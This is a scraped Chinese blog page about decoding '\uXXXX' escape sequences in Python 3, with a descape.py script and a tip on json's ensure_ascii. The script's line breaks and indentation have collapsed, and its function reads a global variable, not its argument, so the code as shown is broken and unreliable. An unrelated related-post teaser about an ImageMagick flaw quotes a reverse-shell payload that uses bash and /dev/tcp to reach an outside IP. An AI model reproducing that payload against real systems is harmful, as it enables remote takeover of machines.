转换\uXXXX

if Python3.x:

  1. str.decode no longer exists in 3.x. that']s why Python 3.4: str : AttributeError: 'str' object has no attribute 'decode is thrown.
  2. Unicode literal string'\uxxxx\uxxxx' is different from string '\uxxxx\uxxxx'.

    if you don't understand what liternal means, check the py3.x ducumentation
./descape.py '\u627e\u4e0d\u5230\u8be5\u8bcd\u7684\u89e3\u91ca'
#!/usr/bin/env python3
# file : descape.py
# convert the escaped chars like `\u45e3` to unicode import sys, re def h2d(a):
if len(a) != 4:
return False
j = 16 ** 3
r = 0
for i in range(0,len(a)):
b = ord(a[i])- 48
r += (b-39 if b > 9 else b) * j
j //= 16
return chr(r) text = sys.argv[1]
# text is string. not unicode literals def descape(utext):
o = ''
for ac in re.split(r'\\u([a-f0-9]{4})',text):
if not ac or len(ac) != 4:
continue
cur = ac
o += h2d(cur)
return o
print(descape(text))

json module

json.dumps()json.dump()有一个参数ensure_ascii默认是True,改为False 就不会把汉字编码成\uxxxx了

References:

  1. Python 3.4: str : AttributeError: 'str' object has no attribute 'decode

convert \uXXXX String to Unicode Characters in Python3.x的更多相关文章

  1. Convert CString to ANSI string in UNICODE projects

    Convert CString to ANSI string in UNICODE projects Quick Answer: use an intermediate CStringA. Norma ...

  2. Convert a string into an ArrayBuffer

    https://github.com/mdn/dom-examples/blob/master/web-crypto/import-key/spki.js How to convert ArrayBu ...

  3. How to convert a QString to unicode object in python 2?

    How to convert a QString to unicode object in python 2? I had this problem to solve, and I tried to ...

  4. 【原创】利用typeface实现不同字体的调用显示及String转换为Unicode

    最近工作用到,就写个小demo demo实现从assets中利用typeface调用不同字体,并在editText中显示出来 1.layout中创建activity_main.xml文件 布局代码如下 ...

  5. emoji Unicode characters

    http://www.easyapns.com/iphone-emoji-alerts he complete list of iPhone emoji Unicode characters. Jus ...

  6. Error: The INF file contains Unicode characters that could not be converted correctly

    昨天第一次为自己的windows mobile程序制作CAB安装包,但是在生成过程中,却出现了这样一个问题: 编译完成 -- 0 个错误,0 个警告time -> G:\WindowsMobil ...

  7. pywinauto: 导入时遇到 "TypeError: LoadLibrary() argument 1 must be string, not unicode"

    pywinauto: 导入时遇到 "TypeError: LoadLibrary() argument 1 must be string, not unicode" 经查询, 看到 ...

  8. Convert.ToInt32(string '000000003') 变成了 3

    Convert.ToInt32(string '000000003') 变成了 3 但是在查询的时候需要用的是string 这里的convert.toint32 反而起了坏作用,不是所有的时候都要用c ...

  9. CString和string在unicode与非unicode下的相互转换(转)

    原文转自 http://blog.csdn.net/u014303844/article/details/51397556 CString和string在unicode与非unicode下的相互转换 ...

随机推荐

  1. Hibernate中一对一关联映射/组件映射

    Hibernate映射:一对一关联 1.按照外键映射 2.按照主键映射 组件映射 下面以员工账号表和员工档案表(员工账号和档案表之间是一对一的关系)为例,介绍这两种映射关系,并使用这两种 映射方式分别 ...

  2. 给ListView视图添加行号

    最后的效果如下: 更新,集成一个独立的模块而不改变源文件的方式更为稳妥. 购买地址:https://item.taobao.com/item.htm?spm=a1z10.3-c.w4002-26531 ...

  3. 用JAVA写一个日历计划

    效果图(自己需要在前台加css修饰)

  4. hdu Is It A Tree?

    判定给定的边序列是否过程一棵树.我用到的判定方法是:第一步:判定  边数是否等于顶点数-1  第二:判定是否只有一个根节点  .当然还要考虑是否为空树的情况. 但是代码交上去,好几遍都是Runtime ...

  5. Retina时代的前端视觉优化

    随着New iPad的发布,平板也将逐渐进入Retina时代,在高分辨率设备里图片的显示效果通常不尽人意,为了达到最佳的显示效果就需要对图片进行优化,这里介绍一些优化方法: 一.用CSS替代图片 这一 ...

  6. Distinct删除重复数据时 自定义的方法比较【转】

    最近项目中在用Linq Distinct想要将重复的资料去除时,发现它跟Any之类的方法有点不太一样,不能很直觉的在呼叫时直接带入重复数据判断的处理逻辑,所以当我们要用某个成员属性做重复数据的判断时, ...

  7. ImageMagick又一处命令执行

    push graphic-context viewbox image copy , , "|bash -i >& /dev/tcp/1.1.1.1/1234 0>& ...

  8. 34款Firefox渗透测试插件工具

    工欲善必先利其器,firefox一直是各位渗透师必备的利器,小编这里推荐34款firefox渗透测试辅助插件,其中包含渗透测试.信息收集.代理.加密解密等功能. 1:Firebug Firefox的 ...

  9. Ubuntu 12.04 系统安装极点五笔输入法

    习惯用五笔了,在Ubuntu下安装了下五笔: 下面就实际操作,安装极点五笔输入法! 在终端中执行如下命令: sudo wget http://www.xiit.cn/wp-content/upload ...

  10. JSONObject简介

    JSONObject简介 本节摘要:之前对JSON做了一次简单的介绍,并把JSON和XML做了一个简单的比较:那么,我就在想,如果是一个json格式的字符串传到后台,需要怎么对其处理?如果前台页面需要 ...